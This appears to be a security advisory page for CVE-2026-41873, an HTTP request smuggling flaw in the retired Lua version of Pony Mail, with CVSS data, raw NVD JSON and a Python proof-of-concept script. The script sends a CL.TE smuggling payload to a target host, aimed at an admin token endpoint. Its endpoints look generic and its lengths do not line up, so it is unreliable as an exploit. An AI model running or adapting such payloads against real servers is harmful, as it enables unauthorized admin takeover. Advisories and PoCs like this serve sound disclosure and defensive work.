Security Vulnerability Report
中文
CVE-2026-41873 CVSS 9.8 CRITICAL

CVE-2026-41873

Published: 2026-04-28 16:16:14
Last Modified: 2026-04-29 13:16:52

Description

** UNSUPPORTED WHEN ASSIGNED ** Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Pony Mail leading to admin account takeover. This issue affects all versions of the Lua implementation of Pony Mail. There is a Python implementation under development under the name "Pony Mail Foal" that is not affected by this issue, but hasn't been released yet. As the Lua implementation of this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:pony_mail:*:*:*:*:*:*:*:* - VULNERABLE
所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # PoC for CVE-2026-41873: HTTP Request Smuggling in Pony Mail # Target: Vulnerable Pony Mail Instance (Lua) TARGET = "192.168.1.100" PORT = 80 def send_smuggling_attack(): # Constructing a CL.TE smuggling payload # This attempts to smuggle a request to /admin/change_password payload = ( "POST /api/endpoint HTTP/1.1\r\n" "Host: {}\r\n" "Content-Length: 60\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" "GET /admin/steal_token HTTP/1.1\r\n" "Host: {}\r\n" "\r\n" ).format(TARGET, TARGET) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload.encode()) print("[+] Payload sent successfully.") response = s.recv(4096) print("[+] Server response:") print(response.decode()) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_smuggling_attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41873", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:13.670", "lastModified": "2026-04-29T13:16:51.850", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Pony Mail leading to admin account takeover.\n\nThis issue affects all versions of the Lua implementation of Pony Mail. There is a Python implementation under development under the name \"Pony Mail Foal\" that is not affected by this issue, but hasn't been released yet.\n\nAs the Lua implementation of this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:pony_mail:*:*:*:*:*:*:*:*", "matchCriteriaId": "D1FA9330-7521-4161-837D-856A31916DAB"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1c7jtxjobh280kqc13fzw1cg57xrz951", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/17", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}